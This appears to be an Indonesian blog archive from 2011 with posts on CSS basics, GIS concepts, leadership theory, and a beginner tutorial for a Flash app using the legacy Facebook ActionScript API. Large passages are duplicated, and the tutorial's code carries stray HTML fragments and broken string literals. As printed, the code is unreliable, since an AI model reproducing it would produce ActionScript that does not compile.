Style Sheet (CSS)
merupakan salah satu bahasa pemrograman web untuk mengendalikan beberapa komponen dalam sebuah web sehingga akan lebih terstruktur dan seragam.
Sama halnya styles dalam aplikasi pengolahan kata seperti Microsoft Word yang dapat mengatur beberapa style, misalnya heading, subbab, bodytext, footer, images, dan style lainnya untuk dapat digunakan bersama-sama dalam beberapa berkas (file).[1] Pada umumnya CSS dipakai untuk memformat tampilan halaman web yang dibuat dengan bahasa HTML dan XHTML.[1]
CSS dapat mengendalikan ukuran gambar, warna bagian tubuh pada teks, warna tabel, ukuran border, warna border, warna hyperlink, warna mouse over, spasi antar paragraf, spasi antar teks, margin kiri, kanan, atas, bawah, dan parameter lainnya.[1] CSS adalah bahasa style sheet yang digunakan untuk mengatur tampilan dokumen.[2] Dengan adanya CSS memungkinkan kita untuk menampilkan halaman yang sama dengan format yang berbeda.[2]
Sejarah CSS
Nama CSS didapat dari fakta bahwa setiap deklarasi style yang berbeda dapat diletakkan secara berurutan, yang kemudian membentuk hubungan ayah-anak (parent-child) pada setiap style.[3] CSS sendiri merupakan sebuah teknologi internet yang direkomendasikan oleh World Wide Web Consortium atau W3C pada tahun 1996.[2] Setelah CSS distandarisasikan, Internet Explorer dan Netscape melepas browser terbaru mereka yang telah sesuai atau paling tidak hampir mendekati dengan standar CSS.[3]
Sifat CSS
Ada dua sifat CSS yaitu internal dan eksternal.[6] Jika internal yang dipilih, maka skrip itu dimasukkan secara langsung ke halaman website yang akan didesain.[6] Kalau halaman web yang lain akan didesain dengan model yang sama, maka skrip CSS itu harus dimasukkan lagi ke dalam halaman web yang lain itu.[6]
Sifat yang kedua adalah eksternal di mana skrip CSS dipisahkan dan diletakkan dalam berkas khusus.[6] Nanti, cukup gunakan semacam tautan menuju berkas CSS itu jika halaman web yang didesain akan dibuat seperti model yang ada di skrip tersebut.[6]
Minggu, 29 Mei 2011
Sistem Informasi Geografis
Sistem Informasi Geografi (SIG) atau Geographic Information System (GIS) adalah suatu sistem informasi yang dirancang untuk bekerja dengan data yang bereferensi spasial atau berkoordinat geografi atau dengan kata lain suatu SIG adalah suatu sistem basis data dengan kemampuan khusus untuk menangani data yang bereferensi keruangan (spasial) bersamaan dengan seperangkat operasi kerja (Barus dan Wiradisastra, 2000). Sedangkan menurut Anon (2001) Sistem Informasi geografi adalah suatu sistem Informasi yang dapat memadukan antara data grafis (spasial) dengan data teks (atribut) objek yang dihubungkan secara geogrfis di bumi (georeference). Disamping itu, SIG juga dapat menggabungkan data, mengatur data dan melakukan analisis data yang akhirnya akan menghasilkan keluaran yang dapat dijadikan acuan dalam pengambilan keputusan pada masalah yang berhubungan dengan geografi.
Sistem Informasi Geografis dibagi menjadi dua kelompok yaitu sistem manual (analog), dan sistem otomatis (yang berbasis digital komputer). Perbedaan yang paling mendasar terletak pada cara pengelolaannya. Sistem Informasi manual biasanya menggabungkan beberapa data seperti peta, lembar transparansi untuk tumpang susun (overlay), foto udara, laporan statistik dan laporan survey lapangan. Kesemua data tersebut dikompilasi dan dianalisis secara manual dengan alat tanpa komputer. Sedangkan Sistem Informasi Geografis otomatis telah menggunakan komputer sebagai sistem pengolah data melalui proses digitasi. Sumber data digital dapat berupa citra satelit atau foto udara digital serta foto udara yang terdigitasi. Data lain dapat berupa peta dasar terdigitasi (Nurshanti, 1995).
Pengertian GIS/SIG saat ini lebih sering diterapkan bagi teknologi informasi spasial atau geografi yang berorientasi pada penggunaan teknologi komputer. Dalam hubungannya dengan teknologi komputer, Arronoff (1989) dalam Anon (2003) mendifinisikan SIG sebagai sistem berbasis komputer yang memiliki kemampuan dalam menangani data bereferensi geografi yaitu pemasukan data, manajemen data (penyimpanan dan pemanggilan kembali), memanipulasi dan analisis data, serta keluaran sebagai hasil akhir (output). Sedangkan Burrough, 1986 mendefinisikan Sistem Informasi Geografis (SIG) sebagai sistem berbasis komputer yang digunakan untuk memasukkan, menyimpan, mengelola, menganalisis dan mengaktifkan kembali data yang mempunyai referensi keruangan untuk berbagai tujuan yang berkaitan dengan pemetaan dan perencanaan. Komponen utama Sistem Informasi Geografis dapat dibagi kedalam 4 komponen utama yaitu: perangkat keras (digitizer, scanner, Central Procesing Unit (CPU), hard-disk, dan lain-lain), perangkat lunak (ArcView, Idrisi, ARC/INFO, ILWIS, MapInfo, dan lain-lain), organisasi (manajemen) dan pemakai (user). Kombinasi yang benar antara keempat komponen utama ini akan menentukan kesuksesan suatu proyek pengembangan Sistem Informasi Geografis.
Aplikasi SIG dapat digunakan untuk berbagai kepentingan selama data yang diolah memiliki refrensi geografi, maksudnya data tersebut terdiri dari fenomena atau objek yang dapat disajikan dalam bentuk fisik serta memiliki lokasi keruangan (Indrawati, 2002).
Tujuan pokok dari pemanfaatan Sistem Informasi Geografis adalah untuk mempermudah mendapatkan informasi yang telah diolah dan tersimpan sebagai atribut suatu lokasi atau obyek. Ciri utama data yang bisa dimanfaatkan dalam Sistem Informasi Geografis adalah data yang telah terikat dengan lokasi dan merupakan data dasar yang belum dispesifikasi (Dulbahri, 1993).
Data-data yang diolah dalam SIG pada dasarnya terdiri dari data spasial dan data atribut dalam bentuk digital, dengan demikian analisis yang dapat digunakan adalah analisis spasial dan analisis atribut. Data spasial merupakan data yang berkaitan dengan lokasi keruangan yang umumnya berbentuk peta. Sedangkan data atribut merupakan data tabel yang berfungsi menjelaskan keberadaan berbagai objek sebagai data spasial.
Penyajian data spasial mempunyai tiga cara dasar yaitu dalam bentuk titik, bentuk garis dan bentuk area (polygon). Titik merupakan kenampakan tunggal dari sepasang koordinat x,y yang menunjukkan lokasi suatu obyek berupa ketinggian, lokasi kota, lokasi pengambilan sample dan lain-lain. Garis merupakan sekumpulan titik-titik yang membentuk suatu kenampakan memanjang seperti sungai, jalan, kontus dan lain-lain. Sedangkan area adalah kenampakan yang dibatasi oleh suatu garis yang membentuk suatu ruang homogen, misalnya: batas daerah, batas penggunaan lahan, pulau dan lain sebagainya.
Struktur data spasial dibagi dua yaitu model data raster dan model data vektor. Data raster adalah data yang disimpan dalam bentuk kotak segi empat (grid)/sel sehingga terbentuk suatu ruang yang teratur. Data vektor adalah data yang direkam dalam bentuk koordinat titik yang menampilkan, menempatkan dan menyimpan data spasial dengan menggunakan titik, garis atau area (polygon) (Barus dan Wiradisastra, 2000).
Lukman (1993) menyatakan bahwa sistem informasi geografi menyajikan informasi keruangan beserta atributnya yang terdiri dari beberapa komponen utama yaitu:
1. Masukan data merupakan proses pemasukan data pada komputer dari peta (peta topografi dan peta tematik), data statistik, data hasil analisis penginderaan jauh data hasil pengolahan citra digital penginderaan jauh, dan lain-lain. Data-data spasial dan atribut baik dalam bentuk analog maupun data digital tersebut dikonversikan kedalam format yang diminta oleh perangkat lunak sehingga terbentuk basisdata (database). Menurut Anon (2003) basisdata adalah pengorganisasian data yang tidak berlebihan dalam komputer sehingga dapat dilakukan pengembangan, pembaharuan, pemanggilan, dan dapat digunakan secara bersama oleh pengguna.
2. Penyimpanan data dan pemanggilan kembali (data storage dan retrieval) ialah penyimpanan data pada komputer dan pemanggilan kembali dengan cepat (penampilan pada layar monitor dan dapat ditampilkan/cetak pada kertas).
3. Manipulasi data dan analisis ialah kegiatan yang dapat dilakukan berbagai macam perintah misalnya overlay antara dua tema peta, membuat buffer zone jarak tertentu dari suatu area atau titik dan sebagainya. Anon (2003) mengatakan bahwa manipulasi dan analisis data merupakan ciri utama dari SIG. Kemampuan SIG dalam melakukan analisis gabungan dari data spasial dan data atribut akan menghasilkan informasi yang berguna untuk berbagai aplikasi
4. Pelaporan data ialah dapat menyajikan data dasar, data hasil pengolahan data dari model menjadi bentuk peta atau data tabular. Menurut Barus dan wiradisastra (2000) Bentuk produk suatu SIG dapat bervariasi baik dalam hal kualitas, keakuratan dan kemudahan pemakainya. Hasil ini dapat dibuat dalam bentuk peta-peta, tabel angka-angka: teks di atas kertas atau media lain (hard copy), atau dalam cetak lunak (seperti file elektronik).
Menurut Anon (2003) ada beberapa alasan mengapa perlu menggunakan SIG, diantaranya adalah:
1. SIG menggunakan data spasial maupun atribut secara terintegrasi
2. SIG dapat digunakansebagai alat bantu interaktif yang menarik dalam usaha meningkatkan pemahaman mengenai konsep lokasi, ruang, kependudukan, dan unsur-unsur geografi yang ada dipermukaan bumi.
3. SIG dapat memisahkan antara bentuk presentasi dan basis data
4. SIG memiliki kemampuan menguraikan unsur-unsur yang ada dipermukaan bumi kedalam beberapa layer atau coverage data spasial
5. SIG memiliki kemapuan yang sangat baik dalam memvisualisasikan data spasial berikut atributnya
6. Semua operasi SIG dapat dilakukan secara interaktif
7. SIG dengan mudah menghsilkan peta-peta tematik
8. semua operasi SIG dapat di costumize dengan menggunakan perintah-perintah dalam bahaa script.
9. Peragkat lunak SIG menyediakan fasilitas untuk berkomunikasi dengan perangkat lunak lain
10. SIG sangat membantu pekerjaan yang erat kaitannya dengan bidang spasial dan geoinformatika.
Barus dan Wiradisastra (2000) juga mengungkapkan bahwa SIG adalah alat yang handal untuk menangani data spasial, dimana dalam SIG data dipelihara dalam bentuk digital sehingga data ini lebih padat dibanding dalam bentuk peta cetak, tabel atau dalam bentuk konvensional lainnya yang akhirnya akan mempercepat pekerjaan dan meringankan biaya yang diperlukan.
Sarana utama untuk penanganan data spasial adalah SIG. SIG didesain untuk menerima data spasial dalam jumlah besar dari berbagai sumber dan mengintergrasikannya menjadi sebuah informasi, salah satu jenis data ini adalah data pengindraan jauh. Pengindraan jauh mempunyai kemampuan menghasilkan data spasial yang susunan geometrinya mendekati keadaan sebenarnya dengan cepat dan dalam jumlah besar. Barus dan Wiradisastra (2000) mengatakan bahwa SIG akan memberi nilai tambah pada kemampuan pengindraan jauh dalam menghasilkan data spasial yang besar dimana pemanfaatan data pengindraan jauh tersebut tergantung pada cara penanganan dan pengolahan data yang akan mengubahnya menjadi informasi yang berguna.
Sistem Informasi Geografis dibagi menjadi dua kelompok yaitu sistem manual (analog), dan sistem otomatis (yang berbasis digital komputer). Perbedaan yang paling mendasar terletak pada cara pengelolaannya. Sistem Informasi manual biasanya menggabungkan beberapa data seperti peta, lembar transparansi untuk tumpang susun (overlay), foto udara, laporan statistik dan laporan survey lapangan. Kesemua data tersebut dikompilasi dan dianalisis secara manual dengan alat tanpa komputer. Sedangkan Sistem Informasi Geografis otomatis telah menggunakan komputer sebagai sistem pengolah data melalui proses digitasi. Sumber data digital dapat berupa citra satelit atau foto udara digital serta foto udara yang terdigitasi. Data lain dapat berupa peta dasar terdigitasi (Nurshanti, 1995).
Pengertian GIS/SIG saat ini lebih sering diterapkan bagi teknologi informasi spasial atau geografi yang berorientasi pada penggunaan teknologi komputer. Dalam hubungannya dengan teknologi komputer, Arronoff (1989) dalam Anon (2003) mendifinisikan SIG sebagai sistem berbasis komputer yang memiliki kemampuan dalam menangani data bereferensi geografi yaitu pemasukan data, manajemen data (penyimpanan dan pemanggilan kembali), memanipulasi dan analisis data, serta keluaran sebagai hasil akhir (output). Sedangkan Burrough, 1986 mendefinisikan Sistem Informasi Geografis (SIG) sebagai sistem berbasis komputer yang digunakan untuk memasukkan, menyimpan, mengelola, menganalisis dan mengaktifkan kembali data yang mempunyai referensi keruangan untuk berbagai tujuan yang berkaitan dengan pemetaan dan perencanaan. Komponen utama Sistem Informasi Geografis dapat dibagi kedalam 4 komponen utama yaitu: perangkat keras (digitizer, scanner, Central Procesing Unit (CPU), hard-disk, dan lain-lain), perangkat lunak (ArcView, Idrisi, ARC/INFO, ILWIS, MapInfo, dan lain-lain), organisasi (manajemen) dan pemakai (user). Kombinasi yang benar antara keempat komponen utama ini akan menentukan kesuksesan suatu proyek pengembangan Sistem Informasi Geografis.
Aplikasi SIG dapat digunakan untuk berbagai kepentingan selama data yang diolah memiliki refrensi geografi, maksudnya data tersebut terdiri dari fenomena atau objek yang dapat disajikan dalam bentuk fisik serta memiliki lokasi keruangan (Indrawati, 2002).
Tujuan pokok dari pemanfaatan Sistem Informasi Geografis adalah untuk mempermudah mendapatkan informasi yang telah diolah dan tersimpan sebagai atribut suatu lokasi atau obyek. Ciri utama data yang bisa dimanfaatkan dalam Sistem Informasi Geografis adalah data yang telah terikat dengan lokasi dan merupakan data dasar yang belum dispesifikasi (Dulbahri, 1993).
Data-data yang diolah dalam SIG pada dasarnya terdiri dari data spasial dan data atribut dalam bentuk digital, dengan demikian analisis yang dapat digunakan adalah analisis spasial dan analisis atribut. Data spasial merupakan data yang berkaitan dengan lokasi keruangan yang umumnya berbentuk peta. Sedangkan data atribut merupakan data tabel yang berfungsi menjelaskan keberadaan berbagai objek sebagai data spasial.
Penyajian data spasial mempunyai tiga cara dasar yaitu dalam bentuk titik, bentuk garis dan bentuk area (polygon). Titik merupakan kenampakan tunggal dari sepasang koordinat x,y yang menunjukkan lokasi suatu obyek berupa ketinggian, lokasi kota, lokasi pengambilan sample dan lain-lain. Garis merupakan sekumpulan titik-titik yang membentuk suatu kenampakan memanjang seperti sungai, jalan, kontus dan lain-lain. Sedangkan area adalah kenampakan yang dibatasi oleh suatu garis yang membentuk suatu ruang homogen, misalnya: batas daerah, batas penggunaan lahan, pulau dan lain sebagainya.
Struktur data spasial dibagi dua yaitu model data raster dan model data vektor. Data raster adalah data yang disimpan dalam bentuk kotak segi empat (grid)/sel sehingga terbentuk suatu ruang yang teratur. Data vektor adalah data yang direkam dalam bentuk koordinat titik yang menampilkan, menempatkan dan menyimpan data spasial dengan menggunakan titik, garis atau area (polygon) (Barus dan Wiradisastra, 2000).
Lukman (1993) menyatakan bahwa sistem informasi geografi menyajikan informasi keruangan beserta atributnya yang terdiri dari beberapa komponen utama yaitu:
1. Masukan data merupakan proses pemasukan data pada komputer dari peta (peta topografi dan peta tematik), data statistik, data hasil analisis penginderaan jauh data hasil pengolahan citra digital penginderaan jauh, dan lain-lain. Data-data spasial dan atribut baik dalam bentuk analog maupun data digital tersebut dikonversikan kedalam format yang diminta oleh perangkat lunak sehingga terbentuk basisdata (database). Menurut Anon (2003) basisdata adalah pengorganisasian data yang tidak berlebihan dalam komputer sehingga dapat dilakukan pengembangan, pembaharuan, pemanggilan, dan dapat digunakan secara bersama oleh pengguna.
2. Penyimpanan data dan pemanggilan kembali (data storage dan retrieval) ialah penyimpanan data pada komputer dan pemanggilan kembali dengan cepat (penampilan pada layar monitor dan dapat ditampilkan/cetak pada kertas).
3. Manipulasi data dan analisis ialah kegiatan yang dapat dilakukan berbagai macam perintah misalnya overlay antara dua tema peta, membuat buffer zone jarak tertentu dari suatu area atau titik dan sebagainya. Anon (2003) mengatakan bahwa manipulasi dan analisis data merupakan ciri utama dari SIG. Kemampuan SIG dalam melakukan analisis gabungan dari data spasial dan data atribut akan menghasilkan informasi yang berguna untuk berbagai aplikasi
4. Pelaporan data ialah dapat menyajikan data dasar, data hasil pengolahan data dari model menjadi bentuk peta atau data tabular. Menurut Barus dan wiradisastra (2000) Bentuk produk suatu SIG dapat bervariasi baik dalam hal kualitas, keakuratan dan kemudahan pemakainya. Hasil ini dapat dibuat dalam bentuk peta-peta, tabel angka-angka: teks di atas kertas atau media lain (hard copy), atau dalam cetak lunak (seperti file elektronik).
Menurut Anon (2003) ada beberapa alasan mengapa perlu menggunakan SIG, diantaranya adalah:
1. SIG menggunakan data spasial maupun atribut secara terintegrasi
2. SIG dapat digunakansebagai alat bantu interaktif yang menarik dalam usaha meningkatkan pemahaman mengenai konsep lokasi, ruang, kependudukan, dan unsur-unsur geografi yang ada dipermukaan bumi.
3. SIG dapat memisahkan antara bentuk presentasi dan basis data
4. SIG memiliki kemampuan menguraikan unsur-unsur yang ada dipermukaan bumi kedalam beberapa layer atau coverage data spasial
5. SIG memiliki kemapuan yang sangat baik dalam memvisualisasikan data spasial berikut atributnya
6. Semua operasi SIG dapat dilakukan secara interaktif
7. SIG dengan mudah menghsilkan peta-peta tematik
8. semua operasi SIG dapat di costumize dengan menggunakan perintah-perintah dalam bahaa script.
9. Peragkat lunak SIG menyediakan fasilitas untuk berkomunikasi dengan perangkat lunak lain
10. SIG sangat membantu pekerjaan yang erat kaitannya dengan bidang spasial dan geoinformatika.
Barus dan Wiradisastra (2000) juga mengungkapkan bahwa SIG adalah alat yang handal untuk menangani data spasial, dimana dalam SIG data dipelihara dalam bentuk digital sehingga data ini lebih padat dibanding dalam bentuk peta cetak, tabel atau dalam bentuk konvensional lainnya yang akhirnya akan mempercepat pekerjaan dan meringankan biaya yang diperlukan.
Sarana utama untuk penanganan data spasial adalah SIG. SIG didesain untuk menerima data spasial dalam jumlah besar dari berbagai sumber dan mengintergrasikannya menjadi sebuah informasi, salah satu jenis data ini adalah data pengindraan jauh. Pengindraan jauh mempunyai kemampuan menghasilkan data spasial yang susunan geometrinya mendekati keadaan sebenarnya dengan cepat dan dalam jumlah besar. Barus dan Wiradisastra (2000) mengatakan bahwa SIG akan memberi nilai tambah pada kemampuan pengindraan jauh dalam menghasilkan data spasial yang besar dimana pemanfaatan data pengindraan jauh tersebut tergantung pada cara penanganan dan pengolahan data yang akan mengubahnya menjadi informasi yang berguna.
"KEPEMIMPINAN"
- PENGERTIAN KEPEMIMPINAN
Pemimpin merupakan sumber daya manusia kunci dalam organisasi manapun. Tanpa kepemimpinan sebuah organisasi hanyalah suatu kekacauan manusia dan mesin.
Kebanyakan definisi tentang kepemimpinan mempertalikan fungsi pemimpin dalam organisasi dengan sasaran. Beberapa pengertian diantaranya (Komaruddin, 1990) :
1. Menurut Ordway Tead,
Kepemimpinan adalah kegiatan untuk mempengaruhi orang-orang agar orang-orang itu bekerjasama mencapai tujuan yang mereka inginkan.
2. Menurut George R. Terry
Kepemimpinan merupakan kegiatan untuk mempengaruhi orang-orang agar orang-orang itu mencapai tujuan kelompok.
3. Menurut Keith Davis
Kepemimpinan adalah faktor kemanusiaan yang mengikat kelompok menjadi satu dan mendorongnya menuju tujuan.
Dari beberapa pengertian kepemimpinan diatas dapat disimpulkan bahwa kepemimpinan adalah kemauan seseorang untuk mempengaruhi orang lain agar dapat bekerja sama dalam mencapai tujuan dan sasaran yang telah ditentukan perusahaan.
- TIPE-TIPE KEPEMIMPINAN
Setiap pemimpin dalam memimpin suatu organisasi mempunyai tipe dan gaya kepemimpinan tersendiri.
1. Tipe kepemimpinan
a. Tipe otokratis
Pimpinan yang mendasarkan diri pada perintah/ pemaksaan kehendak dan tidak mempertimbangkan keadaan bawahan.
b. Tipe suportif
Pimpinan yang mempunyai anggapan bahwa para bawahan ingin bekerja dan berkembang oleh karena itu atasan cukup memberi dorongan.
c. Tipe demokratik
Pimpinan yang berpendapat bahwa perencanaan pengambilan keputusan dan pengawasan diambil secara bersama-sama antara anggota organisasi.
d. Tipe birokrasi
Pimpinan yang mendasarkan diri bahwa bawahan harus dibina sesuai aturan sehingga dalam memimpin selalu melaksanakan aturan/ tidak fleksibel sehingga sulit dalam pengambilan keputusan.
e. Tipe Laissez-faire
Pemimpin yang memberikan kebebasan sepenuhnya pada kelompok atau individu dalam pengambilan keputusan. Dalam hal ini partisipasi pimpinan tidak langsung.
2. Gaya kepemimpinan
Setiap pemimpin bisa mempunyai gaya kepemimpinan yang berbeda antara yang satu dengan yang lain, dan tidak mesti suatu gaya kepemimpinan lebih baik atau lebih jelek dari pada gaya kepemimpinan yang ada dengan menggunakan dasar tertentu.
Berikut gaya kepemimpinan menurut Jeff Harris :
a. The Autocratic leader
Seorang pemimpin yang otokratik menganggap bahwa semua kewajiban untuk mengambil keputusan, untuk menjalankan tindakan, dan untuk mengarahkan, memberi motivasi dan pengawasan bawahan terpusat ditangannya.
b. The participative leader
Apabila seorang pemimpin menggunakan gaya partisipasi ia menjalankan kepemimpinannya dengan konsultasi. Ia tidak mendelegasikan wewenangnya untuk membuat keputusan akhir dan untuk memberikan pengarahan tertentu kepada bawahan mengenai keputusan yang akan diambil.
c. The free rein leader
Di sini pimpinan menyerahkan tanggung jawab atas pelaksanaan pekerjaan tersebut kepada para bawahan dalam artian pimpinan menginginkan agar para bawahan bisa mengendalikan diri mereka sendiri di dalam menyelesaikan pekerjaan tersebut.
- TEORI KEPEMIMPINAN
Sebelum mencoba untuk menganalisa kedudukan kepemimpinan suatu organisasi, perlu menelusuri perkembangan teori kepemimpinan terlebih dahulu. Beberapa teori tersebut diantaranya (Sukanto Reksohadiprojo, dan T. Hani Handoko, 1996) :
1. Teori kepemimpinan
a. Teori sifat kepemimpinan
Teori ini mengatakan bahwa seseorang itu dilahirkan membawa atau tidak membawa sifat-sifat yang diperlukan bagi pimpinan atau tidak membawa sifat-sifat yang diperlukan bagi pimpinan atau dengan individu yang lahir telah membawa ciri-ciri tertentu yang memungkinkan dia menjadi seorang pemimpin.
b. Teori Path – Goal
Teori ini merupakan pengembangan yang wajar sebab kepemimpinan erat hubungannya dengan motivasi di satu pihak dan kekuasaan di pihak lain. Teori Path – Goal ini menganalisa pengaruh kepemimpinan terhadap motivasi bawahan, kepuasan dan pelaksanaan kerja.
c. Teori sifat
Teori ini merupakan analisa ilmiah tentang kepemimpinan, dimiliki dengan memusatkan perhatian pada pemimpin itu sendiri. Ada beberapa faktor yang bisa diteliti dari kepemimpinan yaitu: kecerdasan, perasaan humor, kejujuran, simpati, dan percaya diri.
d. Teori kelompok
Teori beranggapan bahwa kelompok bisa mencapai tujuannya dengan melalui pertukaran positif antara pimpinan dan bawahan.
2. Pendekatan kepemimpinan
Berbagai studi tentang kepemimpinan mengelompokkan pendekatan kepemimpinan menjadi tiga pendekatan yaitu :
a. Pendekatan atas traits
Yaitu pendekatan berdasarkan sifat, perangai atau kualitas yang diperlukan seseorang untuk menjadi pimpinan.
b. Pendekatan behavior (perilaku)
Yaitu pendekatan yang mempelajari perilaku yang diperlukan untuk menjadi pemimpin yang efektif.
c. Pendekatan contingency
Yaitu pendekatan berdasarkan atas faktor-faktor situasional, untuk menentukan gaya kepemimpinan efektif.
Sabtu, 21 Mei 2011
"CARA MEMBUAT APLIKASI FLASH PADA FACEBOOK BAGI PEMULA"
Banyak sekali aplikasi2 di facebook sekarang ini bermunculan dan dari aplikasi tersebut dibuat dengan berbagai macam bahasa pemrograman, salah satunya aplikasi dengan Flash. Aplikasi Flash untuk Facebook sangatlah menarik dan potensial untuk dikembangkan. Jadi saya coba menulis tutorial ini untuk share2 ilmu yang udah didapat. Silahkan bila ada pertanyaan dan saran, baik mengenai materi/penulisan
Pada tutorial ini, kita akan belajar membuat aplikasi Flash sederhana yang berkomunikasi dengan akun Facebook kita, dan mengambil data diri seperti biodata dan foto. Langsung saja kita mulai…
Untuk membuat Flash berkomunikasi dengan Facebook, ada beberapa cara yang bisa kita gunakan. Tapi untuk tutorial kali ini, kita akan menggunakan Facebook Actionscript API, API official dari Adobe untuk berkomunikasi dengan Facebook yang bisa diunduh di http://code.google.com/p/facebook-actionscript-api/. Versi terakhir yang saya temui adalah versi 3.4, walau pada saat anda mencobanya kemungkinan sudah ada versi yang lebih baru.Dokumentasinya sendiri bisa kamu lihat disini http://facebook-actionscript-api.goo...ocs/index.html.
Seperti yang terlihat, ada dua tipe file yang bisa kita unduh dan gunakan, yaitu SWC dan Source. Saya akan mengunduh versi Source (facebook_library_v3.4_source.zip), lalu meng-extract isinya pada salah satu folder di komputer. Misalnya, C:/flash/facebook_api/ .
Satu hal lagi yang perlu diperhatikan. Dalam membuat aplikasi Facebook, kita perlu mendaftarkan aplikasi tersebut terlebih dahulu pada akun Developer Facebook untuk mendapatkan SECRET KEY dan APP KEY yang vital digunakan untuk komunikasi data antara aplikasi dengan server Facebook. Untungnya, hal ini sangatlah mudah untuk dilakukan.
1. Buka http://www.facebook.com/developers/. Bila Facebook menanyakan apakah anda mengijinkan aplikasi tersebut mengakses akun anda, pilih Allow.
2. Bila sudah masuk pada halaman tersebut, tekan tombol + Set Up New Application di kanan atas.
3. Isi nama aplikasi yang ingin kamu buat, misal Beginning Fesbuk API, centang tanda persetujuan, lalu tekan tombol Simpan Perubahan. Perlu diperhatikan kalau nama aplikasinya tidak boleh mengandung kata 'face'/'fb' ato elemen kata yang bisa mengacu ke Facebook makanya saya menggunakan kata Fesbuk.
4. Bila berhasil, kamu akan dibawa masuk kedalam halaman Setting application. Kamu hanya cukup memperhatikan dan mencatat Application Key dan Secret Key. Bila sudah, kamu bisa langsung menekan tombol Back to My Application pada bagian kiri atas.
Kita sudah bisa memulai mengembangkan aplikasi Flash yang kita inginkan.
Berikutnya kita mempersiapkan pengembangan aplikasinya menggunakan FlashDevelop. Buka FlashDevelop, lalu pilih Project -> New Project, lalu pilih AS3 Project. Beri nama project dengan BeginningFacebookAPI, lalu pilih lokasi project yang anda inginkan. Tekan Ok.
Pertama-tama kita perlu menambahkan library Facebook Actionscript API kedalam project ini. Pilih Project -> Properties.
Pada layar setting BeginningFacebookAPI(AS3), pilih tab Classpaths, lalu klik tombol Add Classpath… Arahkan pada lokasi library Facebook Actionscript API, dalam hal ini di C:/flash/facebook_api/ . Tekan Ok.
Ketikkan script berikut untuk menggantikan semua script yang ada pada file Main.as tersebut.
Code:
package
{
import com.facebook.Facebook;
import com.facebook.events.FacebookEvent;
import com.facebook.net.FacebookCall;
import com.facebook.commands.users.GetInfo;
import com.facebook.utils.FacebookSessionUtil;
import com.facebook.data.FacebookLocation;
import com.facebook.data.users.FacebookUser;
import com.facebook.data.users.GetInfoData;
import com.facebook.data.users.FacebookUserCollection;
import com.facebook.data.users.StatusData;
import flash.display.SimpleButton;
import flash.display.Sprite;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.text.TextField;</li>
</ol>
public class Main extends Sprite
{
public const API_KEY:String = "";
public const SECRET_KEY:String = "";
public var fbook:Facebook;
public var session:FacebookSessionUtil;
public var flashvars:Object;
public var userInfoTxt:TextField;
public var loginTxt:TextField
public function Main():void
{
initInterface();
initFacebook();
}
public function initInterface():void
{
userInfoTxt = new TextField();
addChild(userInfoTxt);
userInfoTxt.width = 400;
userInfoTxt.height = 300;
userInfoTxt.selectable = false;
userInfoTxt.multiline = true;
userInfoTxt.wordWrap = true;
userInfoTxt.text = "Please click 'Connect' button below after Allow the application.";
loginTxt = new TextField();
addChild(loginTxt);
loginTxt.addEventListener(MouseEvent.CLICK, doneValidating);
loginTxt.text = "CONNECT";
loginTxt.border = true;
loginTxt.selectable = false;
loginTxt.width = 65;
loginTxt.height = 20;
loginTxt.x = 20;
loginTxt.y = 40;
}
public function initFacebook():void
{
flashvars = this.root.loaderInfo.parameters;
session=new FacebookSessionUtil(API_KEY, SECRET_KEY, this.root.loaderInfo);
session.addEventListener(FacebookEvent.CONNECT, onConnect);
fbook = session.facebook;
if(flashvars.fb_sig_session_key != null)
{
session.verifySession();
}else
{
session.login();
}
}
public function doneValidating(event:MouseEvent):void
{
session.validateLogin();
}
public function onConnect(e:FacebookEvent):void
{
if(!e.success)
{
session.login();
return ;
}
loginTxt.visible = false;
getUserInfo();
}
public function getUserInfo():void
{
userInfoTxt.text = "Loading user info...";
var call:FacebookCall = fbook.post(new GetInfo([fbook.uid], ['name', 'birthday', 'current_location', 'status']));
call.addEventListener(FacebookEvent.COMPLETE, handleGetInfoResponse);
}
public function handleGetInfoResponse(e:FacebookEvent):void
{
if (e.success)
{
var user:FacebookUser = (e.data as GetInfoData).userCollection.getItemAt(0) as FacebookUser;
var name:String = user.name;
var brithdayDate:String = user.birthday;
var currentLocation:FacebookLocation = user.current_location;
var status:StatusData = user.status;
userInfoTxt.htmlText = "Name: " + name;
userInfoTxt.htmlText += "
Birthday: " + brithdayDate;
userInfoTxt.htmlText += "
Location: " + currentLocation.city;
userInfoTxt.htmlText += "
Status: " + status.message + " at "+ status.time;
}
}
}
}
Pada tutorial ini, kita akan belajar membuat aplikasi Flash sederhana yang berkomunikasi dengan akun Facebook kita, dan mengambil data diri seperti biodata dan foto. Langsung saja kita mulai…
Untuk membuat Flash berkomunikasi dengan Facebook, ada beberapa cara yang bisa kita gunakan. Tapi untuk tutorial kali ini, kita akan menggunakan Facebook Actionscript API, API official dari Adobe untuk berkomunikasi dengan Facebook yang bisa diunduh di http://code.google.com/p/facebook-actionscript-api/. Versi terakhir yang saya temui adalah versi 3.4, walau pada saat anda mencobanya kemungkinan sudah ada versi yang lebih baru.Dokumentasinya sendiri bisa kamu lihat disini http://facebook-actionscript-api.goo...ocs/index.html.
Seperti yang terlihat, ada dua tipe file yang bisa kita unduh dan gunakan, yaitu SWC dan Source. Saya akan mengunduh versi Source (facebook_library_v3.4_source.zip), lalu meng-extract isinya pada salah satu folder di komputer. Misalnya, C:/flash/facebook_api/ .
Satu hal lagi yang perlu diperhatikan. Dalam membuat aplikasi Facebook, kita perlu mendaftarkan aplikasi tersebut terlebih dahulu pada akun Developer Facebook untuk mendapatkan SECRET KEY dan APP KEY yang vital digunakan untuk komunikasi data antara aplikasi dengan server Facebook. Untungnya, hal ini sangatlah mudah untuk dilakukan.
1. Buka http://www.facebook.com/developers/. Bila Facebook menanyakan apakah anda mengijinkan aplikasi tersebut mengakses akun anda, pilih Allow.
2. Bila sudah masuk pada halaman tersebut, tekan tombol + Set Up New Application di kanan atas.
3. Isi nama aplikasi yang ingin kamu buat, misal Beginning Fesbuk API, centang tanda persetujuan, lalu tekan tombol Simpan Perubahan. Perlu diperhatikan kalau nama aplikasinya tidak boleh mengandung kata 'face'/'fb' ato elemen kata yang bisa mengacu ke Facebook makanya saya menggunakan kata Fesbuk.
4. Bila berhasil, kamu akan dibawa masuk kedalam halaman Setting application. Kamu hanya cukup memperhatikan dan mencatat Application Key dan Secret Key. Bila sudah, kamu bisa langsung menekan tombol Back to My Application pada bagian kiri atas.
Kita sudah bisa memulai mengembangkan aplikasi Flash yang kita inginkan.
